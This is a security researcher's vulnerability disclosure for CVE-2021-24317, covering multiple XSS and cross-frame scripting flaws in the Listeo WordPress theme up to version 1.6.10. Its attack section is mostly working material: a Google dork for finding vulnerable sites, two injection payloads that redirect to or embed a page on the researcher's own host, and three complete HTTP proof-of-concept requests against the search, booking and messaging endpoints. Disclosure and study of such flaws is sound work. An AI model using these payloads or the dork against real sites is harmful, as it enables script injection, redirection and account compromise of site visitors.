/*!
- # VULNERABILITY: Listeo WordPress Theme <= 1.6.10 - Multiple XSS & XFS vulnerabilities
- # GOOGLE DORK: inurl:/wp-content/themes/listeo/
- # DATE: 2021-02-10
- # SECURITY RESEARCHER: m0ze [ https://m0ze.ru ]
- # VENDOR: Purethemes [ https://purethemes.net ]
- # SOFTWARE VERSION: <= 1.6.10
- # SOFTWARE LINK: https://themeforest.net/item/listeo-directory-listings-wordpress-theme/23239259
- # CVSS: Multiple
- # CWE: CWE-79
- # CVE: CVE-2021-24317
*/
### -- [ Info: ]
[i] Multiple XSS & XFS vulnerabilities was discovered in the Listeo theme through v1.6.10 for WordPress.
[i] Plugin(s) affected: Listeo Core by Purethemes [ https://purethemes.net ].
### -- [ Vulnerabilities: ]
[x] Unauthenticated Reflected XSS | Search query, vulnerable parameter(s): ?keyword_search= and ?location_search=.
[x] Authenticated Persistent XSS & XFS | Booking confirmation, vulnerable parameter(s): &firstname=, &lastname=, &email=, &phone= and &message=.
[x] Authenticated Persistent XSS & XFS | Personal messages: action=listeo_send_message&recipient=&referral=author_archive&message=.
### -- [ Impact: ]
[~] Malicious JavaScript code or iFrame injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.
### -- [ CVSS 3.1: ]
[%] Unauthenticated Reflected XSS | Search query: AV:N/AC:L/PR:N/UI:N/S:C
[%] Authenticated Persistent XSS & XFS | Booking confirmation: AV:N/AC:L/PR:L/UI:N/S:C
[%] Authenticated Persistent XSS & XFS | Personal messages: AV:N/AC:L/PR:L/UI:N/S:C
### -- [ Payloads: ]
[$] --!>" autofocus onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//"
[$] <!-->"><!--><embed src=https://m0ze.ru/payload/xfsii.html>
### -- [ PoC #1 | Unauthenticated Reflected XSS | Search query: ]
[!] https://listeo.pro/listings/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&location_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&tax-listing_category=&action=listeo_get_listings
[!] GET /listings/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&location_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&tax-listing_category=&action=listeo_get_listings HTTP/1.1
Host: listeo.pro
### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Booking confirmation: ]
[!] POST /booking-confirmation/ HTTP/1.1
Host: listeo.pro
Content-Type: application/x-www-form-urlencoded
Referer: https://listeo.pro/booking-confirmation/
Cookie: [user cookies]
confirmed=yessir&value=%7B%5C%22listing_type%5C%22%3A%5C%22rental%5C%22%2C%5C%22listing_id%5C%22%3A%5C%22578%5C%22%2C%5C%22date_start%5C%22%3A%5C%222021-09-07%5C%22%2C%5C%22date_end%5C%22%3A%5C%222021-09-10%5C%22%2C%5C%22adults%5C%22%3A%5C%221%5C%22%2C%5C%22services%5C%22%3A%5B%5D%7D&listing_id=578&coupon_code=&firstname=Ex%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&lastname=Mi%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&email=hatosoh945%40hrandod.com&phone=%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&message=%3C%2Ftextarea%3E%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E
### -- [ PoC #3 | Authenticated Persistent XSS & XFS | Personal messages: ]
[!] POST /wp-admin/admin-ajax.php HTTP/1.1
Host: listeo.pro
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://listeo.pro/author/m0ze/
Cookie: [user cookies]
action=listeo_send_message&recipient=1506&referral=author_archive&message=%3C!--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E
### -- [ Contacts: ]
[+] Website: m0ze.ru
[+] GitHub: @m0ze
[+] Telegram: @m0ze_ru
[+] Twitter: @vladm0ze